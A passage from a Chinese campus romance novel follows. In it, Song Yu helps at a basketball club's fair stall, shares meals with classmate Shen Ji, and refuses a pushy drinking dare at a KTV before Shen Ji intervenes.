杜沧听见何苑的呼喊，他抬起头看到了挤在人群中的两个女孩子，亮着眼睛朝她们招手：“我们的摊位在这边！”说完这句，杜沧又转过头去推了推躲在后面偷懒的丁思越：“是何苑和宋妤她们，越哥，咱们的摊位还缺人不？” 这时候何苑正好拉着宋妤走到了篮球社的摊位前，丁思越拿开挡在脸上的杂志，勾唇一笑：“有美女加盟，当然是多多益善喽。” 双方就这样愉快地达成合作，何苑走之前还抓着杜沧要他保证照顾好宋妤，才终于一步三回头地走了。杜沧原本还想追上去和何苑说点什么，可他刚踏出去两步，就被另一个社员叫走了。 丁思越挪开摆了满地的各种箱子，给宋妤清出一条道，他指了指摊位后面的一个座位示意宋妤坐到那里面：“东西刚搬上来有点乱，那个桌上的就麻烦你先帮忙整理一下吧。” 宋妤点点头坐了过去，安静地开始整理工作。丁思越接了个电话后先离开了，几个在后面般箱子的大男生朝宋妤投来好奇的目光，他们刚刚没听见社长和这个看上去安静文弱的女生说了些什么，兀自猜测着眼前这位会不会就是社长宝贝得要命的那位女朋友。 见社长走开了，其中一个胆大的凑了上来：“同学，你好，我是篮球社的曹志，请问你是不是我们越哥的女朋友呀？”曹志一边问，目光好奇地落在女生白皙得有些透明的侧脸上，最终没忍住又多看了两眼。 宋妤反应过来这个人口中的越哥指的应该是丁思越，她立刻澄清误会：“不是的，我只是流浪狗社团那边过来帮忙的。” 曹志哦了一声，又问：“你是大一的吗，之前的联合社团活动我好像没有见过你。” 宋妤又答：“我是大二的，去年...没参加。” 几人原本因为猜想着这位美女应该是社长女朋友而不敢多看，这下听到宋妤的话以后纷纷好奇地凑上来。练体育的男生一个两个都长得又高又壮，尤其是篮球社的更是长手长脚。这几个人一齐围上来，让宋妤不免产生了点压迫感。 曹志在这几人里算是比较能说会道的，他正打算再找点话题和小美女唠上几句，脖子忽然一紧，一道胳膊横过来把他往后压，曹志下意识地退后了几步。他正想转头骂一句是哪个龟孙竟然敢偷袭他，结果一转身就对上了沈霁那双不太友善的眼睛。 “沈，沈哥你来了啊？”曹志声音弱了两个度。 沈霁松开他，不客气道：“闪边去。” 曹志赶紧跟着身后几个麻溜闪人了，拍着小胸脯暗自庆幸，还好没来的及说什么骚话。 围在旁边的人离开后，宋妤终于能自在地长舒一口气，见刚过来的人是沈霁，她下意识弯起了眼睛——总算是来了个认识的人。这下等后面人多起来的时候，她待在这里也比较自在。 沈霁拖了个椅子过来坐在宋妤身旁，一边帮她分拣东西一边和她有一搭没一搭的聊天。杜沧搬了个箱子过来，宋妤坐的地方被一个很大的旗帆挡住，从杜沧的角度只看到了正在认真整理箱子的沈霁。 “啊哟，这玩意真是重死我了。”杜沧将手里的箱子放在地上，随便拖了张椅子坐下以后就开始冲着沈霁嚷嚷，“看来是我错怪你了沈霁，我还以为你和丁思越一样指不定跑哪里偷懒去了，没想到这么勤劳啊。” 沈霁没理，专心干着手里的活。杜沧原本翘着个二郎腿在哼歌，视线落在沈霁身上的时候，他眼睛微眯，一下子站起身朝沈霁靠近：“唉，你什么时候新买了围巾，你出门的时候好像没戴吧，还是灰粉色的，整的挺少女的......” 说着，杜沧就要伸手去碰沈霁的围巾，爪子还没碰到布料的一角就先被沈霁拍开。沈霁蹙着眉对他做了个赶人的手势：“去去去，别拿你的脏手碰我的围巾。” “你这么宝贝做什么！”杜沧委屈了撇撇嘴，心疼地摸了摸自己被拍红的手背，“不知道什么时候品味变得娘兮兮的，跟谁乐意碰似的。” 沈霁啧了声，他站起身，作势要找杜沧的麻烦。杜沧见势头不对，抱着脑袋就像遛，可这右脚还没抬起来呢，先听见了沈霁后面穿来一个熟悉的女声。 “那条围巾是我借给沈霁的。”宋妤从后面走出来。 杜沧有些呆滞地看了看宋妤，又看了看沈霁，恢复表情以后，他又挺直腰杆对着二人道：“我就说嘛，我们沈霁的品味什么时候能这么好，原来戴的拿了宋妤妹子的围巾。我刚刚那话就是在羡慕嫉妒恨，凑近了摸就是想get一下同款哈哈哈。” 沈霁：“......”日常为舍友的愚蠢扼腕叹气。 宋妤倒没觉得这番说辞有什么问题，她拿起手机在屏幕上操作了一下，随后对杜沧道：“我是某宝上随便买的，我没有你的联系方式，把链接发沈霁了，你想买同款的话跟他要就行。” 杜沧正想随便应一声糊弄过去，就先看到沈霁对着他勾起个不辨喜怒的笑。 沈霁：“你想要买宋妤的同款啊？” 杜沧秒懂了这短短的几个字背后的意思——你怎么敢先一步要和宋妤情侣款？ 站在沈霁身旁的宋妤有些不理解他为何又问了一遍这个问题：“杜沧他刚刚不是说了......” “咳咳。”杜沧忽然重重地咳了两声，“我仔细想想，宋妤妹子的围巾还是在我们沈哥身上显得更加高端有范，我也就不东施效颦了。” 虽然杜沧跳跃的话题让宋妤有点云里雾里，但当她转过头看向身边的沈霁，默默和他对视了半分钟后，宋妤似乎又有点明白了杜沧那番话的道理。 明明是条有点粉嫩稚气的围巾，可搭在沈霁身上却一点也不突兀，那抹柔和的色彩点缀在他暗色的外套上，反而多了点生机蓬勃的少年气。说那么多，其实总结就一句——沈霁长得好，披块抹布在身上都帅气。 宋妤忽然间就和杜沧那句东施效颦产生了点微妙得共鸣，她侧过头朝杜沧扬了扬手里的手机：“要不，我给你推个你戴好看但沈霁戴着不好看的？” 顶着沈霁有些不悦的目光，杜沧赶紧退后两步摆手拒绝：“不了不了，我脖子短不爱戴围巾。” 见杜沧脚底抹油溜得老快，宋妤索性坐了回去，继续手头上的工作。沈霁也跟着坐下来，他没什么动作，就光坐着盯着宋妤看。 宋妤在沈霁持之以恒的注视下终于转过头看他：“怎么了？” 沈霁一手托着下巴，另一只手的指尖在桌面上一下一下的轻敲着：“我在思考一件事，只有你能告诉我答案。” 宋妤好奇地扬起眉梢：“什么？” “我想看看是什么样的。” 宋妤：“啊？” “你给杜沧选的，他戴着好看我戴着丑的围巾。”沈霁用目光示意了一下宋妤搁在一旁的手机，又慢吞吞地重复了一遍，“我想看看是什么样的。” 宋妤缓慢地眨眨眼，她实在分不清楚沈霁究竟是不是在说笑：“我就随口一说，还没选呢。” 沈霁点开自己的某宝首页，把手机挪到宋妤跟前。意思很明了，要让她找出一个。 宋妤疑惑：“可是杜沧说他不需要。” 沈霁不依不饶：“可是我想知道，是什么款式的我戴上以后就输给杜沧了。” 身旁忽然传来一声轻笑，宋妤和沈霁同时朝声音的来源看去，发现是丁思越不知什么时候回来了，手里拎着瓶水斜倚在旁边，似笑非笑地看了沈霁一眼。 见沈霁看过来，丁思越好笑地扬了扬手机。 你小子的蠢样可是都被我录下来了。 沈霁没功夫搭理丁思越，目光很快又落回宋妤身上，执着地要向她讨个答案。宋妤只好拿过他的手机在某宝主页上浏览了一下，老实说随便哪款脑补一下戴在沈霁身上都不会出错。 宋妤找不到那个答案，可沈霁还在等着她的答复。宋妤思索了片刻后，将沈霁的手机还给了他：“仔细想想应该不存在。” 沈霁直起脊背，做出认真倾听的模样：“那是什么意思？” 宋妤也认真回答：“意思是你帅得很突出，搭什么都好看，没人比的上。” 突如其来的直球发言让沈霁一下子怔住，虽然宋妤说要给杜沧挑围巾的时候他是有点点不爽，但也不是非常在意。缠着宋妤非要个答案也不过是想逗逗她，若是能从宋妤口中听到那么一两句动听的话那是最好。 但沈霁属实时没想到，宋妤会如此的...直白。 沈霁轻咳一声，有些不自然地移开了视线：“那什么，也没...没那么夸张。” 宋妤没注意到沈霁染上绯色的耳根，但她从沈霁的反应中大概知道他对自己的这个答案是应该算是受用的。 原来帅哥也有这么强烈的偶像包袱和竞争意识的吗？宋妤在心中默默地想。 这边宋妤正有些神游天外，忽地响起一个有些高昂的声音一下子拉回了她的思绪。下一刻，何苑跑过来钻进了这个摊位的棚子里，从后面环住了宋妤的肩膀：“小妤，我一 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这个话题一提出，沈霁立刻束起耳朵凑近了一些。他觉得这个话题自己有取经的必要。 “非要选的话......”宋妤作思索状，“肯定选玫瑰。” “为啥？”何苑有点意外会是这个答案，因为在她的脑海里总觉得茉莉或者栀子花一类的鲜花和宋妤的气质更搭。 沈霁事先在脑海中预设了几个答案，比如喜欢玫瑰的香气，喜欢玫瑰的热烈，或者喜欢玫瑰的花语。他甚至思考过宋妤单纯只是喜欢红色的可能性。 结果宋妤给出的答案却是—— “因为玫瑰最实用啊，比其他花都实用。” 这个出乎意料的词让何苑和沈霁不约而同地怔楞住：“什么叫实用？” 宋妤理所当然地回道：“其他的鲜花除了摆着好看闻着香好像也没什么用了，玫瑰花还能摘了泡脚。”说完，宋妤犹觉不够地又补了一句：“情人节玫瑰花那么畅销不就是因为这个吗，你们不知道吗？” 沈霁&何苑：“......”不，肯定不能是因为这个。 宋妤看他俩的神情，似乎感觉到了他们对这番话的不认同。不过宋妤也没有开口质询或争辩，毕竟她又不会真的花钱给自己买花，无谓的争论没有必要。 这边正聊着天，宋妤远远看见个熟悉的身影往这边走来，她下意识抄起桌上的广告扇子挡住脸。何苑正觉得奇怪呢，下一刻那道身影还真就停在了他们这个摊位的棚子前面。沈霁也跟着抬眼，发现来人大家都认识，正是学生会会长丁敏光。 “宋妤，你过来下，你们社团的策划有些问题需要改下。”丁敏光站定以后没看其他人，单刀直入地直接表明了来意。 宋妤讪讪地放下手里的广告商，慢吞吞地从位置里挪出去，跟着丁敏光走了。 “靠，那心胸狭隘的狗男人又来找茬了。”何苑低骂一声，“明明这次社团联合活动流浪狗社团都没有单独策划摊位，他还要来搞事！” 丁思越双手抱臂，有些好奇：“听你这么说宋妤似乎跟丁敏光有过节啊？” “这根本不能叫作过节，分明就是丁敏光那小气吧啦的狗男人单方面和小妤过不去！那么一点点小事他就一直死死记在心里，每次小妤去过策划都要在他那里被卡很久！”何苑的声音因为愤懑声调都高了几分，“简单来说，就是这个想吃天鹅肉的傻逼会长在小妤大一的时候想追她，然后跑到我们晚修教室里拿了两张演唱会的票跟小妤说他正好多买了一张票，问小妤愿不愿意一起去看。” 何苑说话总是大喘气地停顿，让沈霁没忍住追问了句：“然后呢？” “然后，就是小妤当着所有人的面拒绝了呀。我记得小妤那时候说的是，”何苑一摊手，模仿着宋妤当时的语气，“‘你真有多一张票啊，正好我今天刷二手网站有个人在高价收，我现在把链接推给你。’然后那个丁敏光当时脸立刻就黑了，头也不回就走了。后来就总在这种策划案的事情上找我们家小妤宝宝的麻烦，简直有病！” 说完，何苑用古怪的眼神上下打量了沈霁一番，沈霁被她看得有些不自在，索性直接开口问：“你这么看我做什么？” “我就是在想，”何苑再次慢吞吞地扫了沈霁一眼，“你应该不会也是丁敏光那种追不到人得不到回应就翻脸的烂人吧。” “我当然不会是那种人，”沈霁察觉到了何苑对自己不算太友善的态度，加之方才她似乎一直挡在自己和宋妤之间，不想自己和宋妤有过多接触。 沈霁眉心微蹙，但最终还是选择直接对何苑开口：“你貌似...很讨厌我？所以反对我和宋妤在一起？” 何苑没想到沈霁这么快就对她敞开天窗说亮话了，索性也不再去想那么多弯弯绕绕：“你言重了，我们又不熟，怎么谈得上讨厌。只是因为小妤是我最好的朋友，我觉得像你这样的公子哥应该不缺女朋友吧，也不一定非要招惹我们家小妤吧。要玩爱情游戏的话，你还是找别人吧。” “看来你对我有些误解，我靠近宋妤，并不是因为你口中的爱情游戏。”沈霁的声音不大，却透着一股无法被撼动的坚定，“我对她说的每一句话，做的每一件事，绝对出自100%的真心。” 何苑有些意外沈霁会对她说这些，她还未来得及开口，旁边的丁思越先一步站直了身体：“录到了，沈哥100%真心的恋爱宣言，回宿舍必定要和兄弟们循环播放一百遍！” “靠，你这个狗贼！”沈霁骂了声脏话，就要去抢丁思越的手机。 何苑在两人身后默默翻了个白眼，算是对这两个校园风云人物彻底祛魅了，脱掉滤镜不也是两个幼稚男大。 22. 似有所察 沈霁从丁思越手机里删完录音，见宋妤还没回来，正打算和何苑一块跟上去看看，他们刚踏出棚外，宋妤正好就回来了。 何苑忙迎上去问：“小妤，那登跟你说啥了？” 宋妤无力地扯了扯唇角：“没，就讲了下策划需要改的地方，反正他一如既往的很癫狂又很难搞。” 站在一旁本没有说话的沈霁往宋妤面前迈了一步：“宋妤，你们社团在下学期还会招新吗？” 宋妤不知道沈霁忽然问这做什么，但还是回答了这个问题：“招的，毕竟算是兴趣社团，不是学生会部门或者其他协会，没有那么严格的招新时间。” 沈霁点了点头表示明白，便没再说什么了。 杜沧跑过来让突然开始集体摸鱼的大家赶紧开始继续干活，毕竟今天内要把山顶集市摊位的所有东西都安置完成，当然是越早干完越好。何苑看了下腕表上的时间，和宋妤说了声待会儿见之后也风风火火地回自家摊位上继续干活了。 一上午的时间很快过去，干了这么久的活，就是活力点满的大学生们也会觉得累，好在终于迎来了吃饭休息时间。午饭点的是山下一家饭店的外卖盒饭，为了节约预算，是几个男生坐了缆车下山去提回来的。 很多人都累的瘫在椅子上懒得动，也就杜沧这个吃货，宁可卖力气也想过去掌握第一手饭菜情报。所以当杜沧提着一大袋盒饭眉飞色舞地往这边走的时候，大家就猜到了菜色应该不错，至少会是杜沧喜欢吃的。 “有两种盒饭，一种是卤鸡腿，一种是红烧肉，不过都是打乱放的，大家就随机拿吧。”杜沧搓了搓苍蝇手，“反正哪种我都爱，嘿嘿嘿。” 宋妤也过去排队领到了自己的饭，她低头看着淡黄色的一次性餐盒盖，打开之前默默闭上眼祈祷。 二分之一的概率，请赐给我鸡腿饭！ 祈祷完成后，宋妤才缓缓打开餐盒盖。两秒之后，她又默默地把餐盒盖子扣上了。宋妤不死心地再次打开餐盒，而窝在米饭上油滋滋的几块肉片无情地宣告了她的祈祷失败。 唉，每当有这种盲选时刻她必定无法得偿所愿。宋妤在心中默默叹气。她正准备动筷，头顶先传来一个声音。 “宋妤，你的是红烧肉吗？”站在宋妤身后的是沈霁，他的右手上也端了个同款饭盒，“可以换一下吗？我不吃鸡腿。” 宋妤亮着眼睛站起身：“换换换！” 杜沧一边往嘴里扒拉饭，一边含糊不清地问：“沈哥，你什么时候不吃鸡腿了，你不是向来不挑嘴的......”他话还没说完，被薛子奇架着脖子拖走了。 到了开阔地方，203除了沈霁以外的三位男大拖了个小马扎坐成一排，人手一盒饭边吃边观望不远处并肩坐在一起的两人。 杜沧还在纠结：“你干嘛对我强制闭麦，沈霁真的没有不吃鸡腿。沈霁最大的优点就是他不挑食，连最难吃的第一餐厅他都吃不出好赖，说都一样。” 薛子奇斜睨他一眼：“这么不会看眼色你不要命啦。沈霁肯定是看出宋妤妹子不喜欢分到的红烧肉，才主动换的。” “虽然但是，”杜沧单手托腮做深沉状，“你们看看，咱们203的拽的二五八万的沈少爷，现在跟在宋妤身后的样子就跟蜜蜂围着花似的。我都快不认识他了。” 薛子奇也应和了一声：“确实是，一开始我还以为沈霁就是心血来潮呢，原以为时间长了潮水就退了，现在看是越涨越厉害了。不过我有点不明白，沈霁这追求的方式似乎比我想象中的内敛不少啊，除了老往宋妤妹子跟前凑刷存在感之外，好像也没别的表示了。他以前谈的都是人家女孩死缠烂打跟他告白，现在这段是他自己先看上了，我还以为他也会穷追猛打立刻拿下呢。” “两个单身狗，还搁那情感分析呢。”丁思越不屑地嗤笑一声，“你们就是只懂得穷追猛打，所以才到现在还是单身狗。” 别人可能不懂，但知道沈霁过往那些不算快乐的记忆的丁思越却能看得明白。特殊的成长经历让沈霁对自己在乎的一切都变得谨慎而小心。现在的他表现得越内敛，反倒说明了他内心的渴求和执念正在变得深沉。 杜沧和薛子奇对视一眼，他们想反驳，却无力反驳。谁让丁思越这厮确实算是203的情感大师，那些个讨女朋友欢心的技巧一套一套的，都快能出书了。 “好了，我就不跟你们继续在这里咸吃萝卜淡操心了，”丁思越站起身，拍了拍裤子后面的灰，“跟我的宝贝甜蜜视频去了，你们俩也别总专心吃沈霁的瓜，好好想想自己的人生大事才是正道......” ... 下午的活干了一半的时候，宋妤发现她跟的这个摊位缺了一批货品，她问身为社团老大的丁思越，丁思越很快给了个解决方案：“让沈霁带你一起去躺山下小镇的那个阿婆家，这个摊位缺的就是她们家的绒花工艺品，东西应该不算重，沈霁当你的搬运工应该绰绰有余了。” 于是乎宋妤和沈霁再次脱离了大部队单独行动，好在那个阿婆家不算远，到了山下集市步行了十五分钟就找到了。 宋妤原以为就是简单地取个货就能立刻返回，应该不需要耗费多少时间。结果到了那个阿婆家才被告知那批货的货单做的时候漏了，虽然发现之后马上就开始补了，但是还差一些，还要他们再等等。 阿婆的小店算是个家庭作坊，今天能给她打下手的人恰好都不在，她上了年纪有些精细的部分眼神不好做不快，只能满脸歉意地表示这批货款会退三分之一给他们。 宋妤对这事做不了主，能做决定的沈霁耸耸肩表示没有问题。两个人干等着觉得无聊，后面就主动让阿婆教他们做小部件，两个人都上手得很快，这下子效率提升了不少。 单一的活干久了容易累，宋妤脖子有些酸痛，便暂时停下来活动了一些脖颈。她不经意地侧过头，看到坐在她身旁的沈霁仍在专注手里的工作。 他的食指和拇指捏住了绒布花瓣，另一只手用镊子夹上黄色的花蕾在中间固定住。同样的操作宋妤自己 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阿婆慈爱地笑了笑：“工具不长眼，要更加小心才是。不过姑娘你的男朋友也确实不错，没有因为是小伤就对你不上心。” 男朋友这个突兀的词汇从阿婆口中说出时宋妤一下愣住，反应过来阿婆误会了什么以后她忙开口解释：“不是我男朋友，是同学。” 阿婆点点头：“原来还不是啊，小伙子要加把劲儿。” 宋妤还想再跟阿婆解释解释，沈霁已经从内屋找到医药箱提着过来了。宋妤只好紧急打住了将要出口的话。 宋妤本来想直接贴个创可贴的，可沈霁非说划伤的锥刀是金属，需要简单地消个毒。单手不太好操作，宋妤也就没有拒绝沈霁主动帮忙的请求。 沈霁拿着镊子，用沾了酒精的药棉轻轻擦过宋妤手背上的伤口，即使宋妤已经提前告诉他这点小伤真的不算太疼，可沈霁的动作依旧很轻柔。 一旁的阿婆弯起唇角，忽然又开口对宋妤道了句：“小姑娘，阿婆跟你说啊，嘴巴可以说谎，眼睛却骗不了人。想要看得清楚，就要看他的眼睛。” 宋妤下意识把视线挪到了沈霁身上，而在她垂眸的那刻，正好对上了沈霁抬起的眼。 沈霁原本因为没明白阿婆那话的意思，正歪着头思索。在感受到宋妤落在他身上的目光后，他便下意识抬起头。 宋妤不知道在想什么，又是一副神游天外的模样。沈霁笑了，墨色的眼眸透着琉璃质的光芒。 阿婆的话语再次适时地响起：“你看到了什么？”沈霁的目光依旧没有移开，似乎也在等着她的答案。 宋妤在那双漂亮的眼睛里，看到了自己清晰的倒影。 这个瞬间，宋妤似乎觉察到了什么，可大脑却主动放弃捕捉那道残影。 “就看到，他的眼睛挺漂亮的。”宋妤先一步移开了视线。 “没有其他的了吗？” “没，没了吧。” 23. 陡然升温 虽然过程中出现了点意外和波折，但好在经历了两天的忙碌之后，这次的创意文化市集算是圆满地拉下帷幕。累了这些天，刚把摊位收拾的差不多，就有不少人嚷嚷着晚上要好好庆祝，犒劳犒劳这两天辛苦的劳作。这样的提议自然得到了一众人的支持，待宋妤知道这个消息的时候，连晚上去哪庆祝都定好了。 说到犒劳庆祝，再怎么计划也逃不过那几样，找个地方聚餐，然后聚完餐换家KTV唱歌。 出发之前宋妤先回了趟住的地方换衣服，她今天收拾摊位的时候不小心碰完了一盒丙烯颜料，毛衣下摆和裤子边缘全都遭了殃。事到如今，宋妤也只能暗自庆幸好在干活的时候提前把棉服外套给脱了。 宋妤打开行李箱翻了一遍，竟然没找到多余的裤子，她明明记得自己收拾行李的时候是多放了一条的。可即使把行李箱里全部的东西都拿出来抖个遍，宋妤也没找到那条失踪的裤子。无奈之下，最后宋妤还是将那套备用的棉布长裙给穿上了。 其实冬天里宋妤是不爱穿裙子的，毕竟怕冷体质真的一刻也不愿意离开自己的保暖秋裤。 收拾完东西准备出门之前，宋妤接到了沈霁的电话，电话那头沈霁说他们已经到了聚餐地点，问宋妤需不需要过来接她。宋妤婉拒了沈霁的好意，自己打车过去了。 聚餐的地点是山下一家生意蛮红火的大排档，天刚擦黑，室内室外的桌子上都已经坐满了三五成群的顾客。这次聚餐订的是室内的桌子，一间房内四五个大圆木桌，正好都被承包了。 宋妤刚走进门，两道声音就同时响起。 “小妤宝宝我在这边！” “宋妤，这边有位置。” 这两道声音的来源分别是何苑和沈霁，宋妤还没应声，这两人先是有些意外地对视了一眼，似乎因为方才都没有发现彼此的存在。 宋妤朝沈霁的方向招了招手，给自己找了个合情合理的理由婉拒了他的邀请：“谢谢啊，我就坐小苑那边啦，你们社团的人多，待会儿位置应该会不够。” 宋妤刚坐下，就感受到了好几道带着兴味的目光。她抬起头，果不其然撞上了好几双闪烁着八卦之火的眼睛。虽然这边的环境嘈杂，但因为现在到的人也不算特别多，所以方才那点动静可全没逃过这桌上所有人的眼睛。 因为何苑的关系，宋妤跟记者团的这些人也不算太陌生，是以压抑不住好奇之心的人立刻开口打探第一线八卦：“宋妤，你有情况？” 这问题问的，让宋妤一开始没有反应过来，直到她们开始不断用目光示意沈霁那桌，宋妤才明白她们的意思。 “不是你们想的那样。”宋妤连忙解释。 最先提问的圆脸女生眨眨眼睛：“诶，你怎么知道我们想的是什么样？是不是害羞了？还是心虚了？从实招来！” 顶着一众八卦的目光，宋妤简单讲述了下自己临时分配到沈霁他们摊位帮忙的来龙去脉，可这群人依旧凭着敏锐的八卦嗅觉坚定这两人之间一定有非比寻常的火花。 宋妤这边口风紧问不出东西，众人立刻将目光投到一旁正给自己默默添饮料的何苑身上。何苑放下百事可乐的瓶子，默默叹了句：“小妤说没什么就是没什么，你们也别多想了，赶紧拿菜单点菜吧，我可是听说了这家的牙签牛肉每日都有限定数量，再慢点就被抢光了！” 桌上几人的注意力果然被何苑这番话转移，各自拿起菜单研究起菜色来，不再执着于刚才的问题。 临近七点钟的时候，还没到场的人都陆陆续续过来了，原本还算宽敞的空间也逐渐变得拥挤起来，每个桌子差不多都坐满了，室内闹哄哄的，除了交谈的声音之外，还夹杂着塑料椅子在地面拖行的声音。 待所有人都落座以后，店里的小哥给大家端上碗筷和用于清洗的瓷盆。宋妤正要打开自己的餐具，头顶忽然传来一道熟悉的声音。她转过去，就见沈霁拎着件外套站在她身后。 “怎么了？”宋妤问。 “被赶走了，我看你们这还有位置，能收留一下吗？”沈霁用余光瞥了一眼他原本坐的那桌，继续道，“刚才丁思越的女朋友过来找他了，座不够，我就被赶下桌了。” 宋妤顺着他示意的方向看去，果然看到了丁思越身旁坐了一个长发雪肤的女孩，看着气质十分出众。 “这就是丁思越的女朋友啊，还真漂亮。”宋妤忍不住感叹了声。沈霁没接这话，依旧专注地盯着她看：“所以你会收留我吧，我都把自己的位置让给他女朋友了。” 宋妤点点头：“可以啊，这的空位还有两三个，看你要坐在哪里都可以。” “好咧。”沈霁拉开宋妤身旁的凳子，从善如流地坐下。 沈霁的到来像一颗投入湖面的石子，打破了原本的平静。他一坐下，桌上的几人按耐不住好奇，纷纷用带着探究的目光在他和宋妤身上逡巡。沈霁本人倒是似无所察般，镇定自若地向店员小哥要了副碗筷。宋妤原本被这些目光注视得颇为不自在，但约莫身旁的沈霁表现的太过自然，慢慢地，她也就没那么在意了。 大排档的这间屋子是卷帘门，大敞着基本没什么遮挡物。宋妤的位置离门口最近，夜风呼呼地卷进来，穿透不算太厚的裤袜，那冷意像是钻进了骨头里。宋妤蜷了蜷腿，可似乎并不能驱散多少寒意。 沈霁注意到宋妤的动作，原本想把自己搁在旁边的外套借给宋妤，思索片刻后就能想到宋妤估计不太愿意。他放下筷子，转过头对宋妤道：“我跟你换个座吧。” 宋妤刚想说不用，就听到沈霁接着道：“这边的空间有点小，我腿太长没地搁坐着有点憋屈，就跟我换换吧。” 宋妤低头看了看沈霁的位置，在角落里，对于长手长脚的他来说确实有点拥挤，便同意了换座。换了座后果然好多了，宋妤悄悄偏过头去看沈霁，沈霁似乎被桌上的菜辣到了， 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至少那些传得绘声绘色的各种流言之中，有一点是明显确证的——沈霁的那张脸，确实帅得很客观。 沈霁这时候也察觉到了宋妤落在自己身上的目光，他看到了宋妤还未来得及收起的笑，唇角的弧度顿时一垮：“你笑我啊。” “没有啊，”宋妤佯装神色自然，从桌边拿走了饮料瓶子，“就是想添饮料了。” 沈霁的目光慢吞吞地从宋妤的脸上移到碳酸饮料的瓶身，随即轻嗤一声：“这么剌舌头，有什么好喝的。” 吃完饭后众人就打算转场去KTV，宋妤不太喜欢唱歌，原本是不打算去的。但何苑在这种场所总是容易嗨过头，一喝酒什么都忘了，宋妤不太放心，便还是决定跟着去。 KTV的位置离大排档这边不算远，所以大家决定直接走过去，权当做是饭后消消食。沈霁不知道为什么没有回去找丁思越和杜沧他们，从大排档里出来后，他跟在宋妤身后慢吞吞地走。原本周围还有很多其他人的，可不知为何走着走着，他们俩和前面队伍的距离变得有些遥远。 宋妤的脚步顿了下，她转过头，正想问问身后的沈霁他俩要不要加快脚步抓紧跟上大部队，结果一转头，额头径直撞在了沈霁的胸膛上。宋妤捂着额头退后，沈霁上前一步想要查看她的情况。 “是很痛吗？” 宋妤维持着捂着额头的动作，垂下眼摇了摇头：“不痛。” 她没有撒谎，撞的那下几乎是没有痛感的。 真的不痛，但…真的好近。 那个瞬间，她几乎整个人撞入了沈霁怀里。所以她才会下意识后退，拉开一个足够让陡然升起的温度冷却的距离。 可沈霁下一步的动作直接让宋妤前功尽弃，他又上前了一步，抬手握住了宋妤的手腕，移开她挡在额头上的手指，低头凑近了她。 皎洁的月光将两个人重叠的影子拉长，从背后看，这个动作就像沈霁把宋妤拥在了怀里。 24. 指尖余温 两人到了KTV门口，沈霁接了个电话，是丁思越打过来请他帮忙去买个东西，宋妤就自己先进去了。 他俩到的比较晚，大部分人现在已经都在开好的包厢里了。这次过来的人多，开一间大包也不够，麦都不够人抢的，所以一共开了三间大包。宋妤摸出手机看群消息，她正想给何苑打个电话问下她在哪里，就看到了何苑的微信消息。 宋妤按着信息上的房号找到了包间，她刚推门进去，就见原本喧闹的包间先是安静了一瞬，随后又是一阵吵嚷的嬉笑声。宋妤能感受到不少落在自己身上，带着兴味的目光。她有些不明所以，用疑惑的目光扫了一遍包厢内的众人。 “哎呀，你小子有福气，还以为进来的肯定是服务员，结果正好是宋妤，你就偷着乐吧！”一个穿着墨绿卫衣的寸头男生推搡了一把坐在沙发另一侧的一个男生，“还不赶紧上！” 那个高瘦男生就在几人的推搡和嬉笑之中端着两杯酒走了过来，他在宋妤面前停下，道：“宋妤，我们刚才在玩真心话大冒险，我输了，惩罚是得和下个走进包间的人和交杯酒。你能不能帮个忙？” 未等宋妤回话，身后先响起了此起彼伏的调笑声。宋妤的目光扫过那些喧闹声的来源，最后冷淡地落在了眼前人身上：“抱歉，我不喝酒，你还是找别人吧。” “诶，你不要拒绝呀，都是社联的，大家都是朋友喝个酒没什么吧，”那高瘦男生并不打算放弃，“你要是不愿意交杯，你就单喝酒就行，怎么样，当给我个面子！” 高瘦男生话音刚落，身后就传来几声应和：“就是啊，喝一杯吧！” “不好意思，我不认识你。”宋妤失去了维持礼貌的耐心，“我应该是走错包间了，你们继续喝，再见。” 扔下这句，宋妤刚要转身离开，那高瘦男生竟然不依不饶地靠近她，挡住了她的去路。 “宋妤，我看你好像有点不太合群，我看你都很少喝大家说话，是不是太内向了。你应该多和我们一起玩，这样大家很快就会熟络起来了。” 高瘦男生继续举着杯子朝宋妤靠近：“就当给我个面子，喝了这杯，咱们一起过去玩......” 一只骨节分明的手从宋妤背后伸出，抓住了高瘦男生端着酒杯朝宋妤靠近的那只手，他未出口的话戛然而止。 包间喧闹的声响瞬时间沉静下来，所有人都有些意外地看着突然出现的沈霁。 沈霁用了点力，轻松地将那人与宋妤之间的距离拉开。待他松了手，那高瘦男生立刻捂着自己的手腕退开。 “你干嘛呢，沈霁？”高瘦男生不明所以地望向沈霁，他刚想继续说点什么，目光在接触到沈霁明显变得不善的脸色之后又默默将没出口的话咽了回去。 沈霁没说话，也没有笑，那轮廓分明的眉眼面无表情地盯着人看的时候显得格外凌厉。 方才一直没说话的丁敏光从沙发上站起走了过来：“沈霁，马跃他只是在执行游戏惩罚，跟宋妤闹着玩的。大家都是社联的，也就是随便寻点乐子炒一下氛围，只是叫宋妤喝杯酒而已，你这副表情就好像我们在刻意刁难她一样。” “哦，原来只是在活跃气氛啊。”沈霁作出一副恍然大悟的样子的模样，随后又转头看向马跃的方向，“那这杯乐子酒我替她喝呗，我也挺想为大家助助兴的。” 丁敏光没说话，马跃在沈霁一个冷飕飕的目光看过来以后就立刻把自己手上那个倒满了酒的玻璃杯递了过去。 沈霁伸手去接，可他却在杯子递过来的瞬间松开了虚扶着的手指。啪地一声，酒杯落地，玻璃碎了一地。 丁敏光和马跃站得近，无可避免的被波及，虽然没被玻璃碎片伤到，半条裤腿上都沾上了湿漉漉的明黄色酒渍。 丁敏光的脸瞬间沉了下来，而马跃也忍不住骂了声脏话，推开了好几步。 “你这是在做什么？”丁敏光单手扶了扶鼻梁上的细框眼镜。 “啊，手没拿稳，竟然给弄倒了，”沈霁的神情轻松，不带一丝负罪感，“反正是乐子酒，倒地上碎了也能听个响，不也能给大家活跃气氛？” “既然气氛已经到了，那我俩就功成身退闪人了，不用送。” 说完这句，沈霁不再去管身后那两人的神情，也不理会包间内其他人的反应，径直拉过身后人的手腕走了出去。 沈霁拉着人手在KTV的走廊里走了好一阵都没听到宋妤说话，沈霁停下脚步，转过头看她。宋妤和他对视，目光还有点呆滞，似乎是没反应过来的样子。沈霁轻笑一声，松开了宋妤的手腕：“怎么还没回神？被他们吓到了，还是…被我吓到了？” 这句话不知那个字眼瞬间捕捞回宋妤四散的心神，她仰着脸看向沈霁的眼睛：“确实是被你吓到了，你站得明显比丁敏光他们更近，玻璃碎片溅起来更容易伤到的是你。”说完，宋妤的目光在沈霁周身逡巡，她想查看一下沈霁是否被碎片伤到，可光用眼睛也看不出个所以然来。 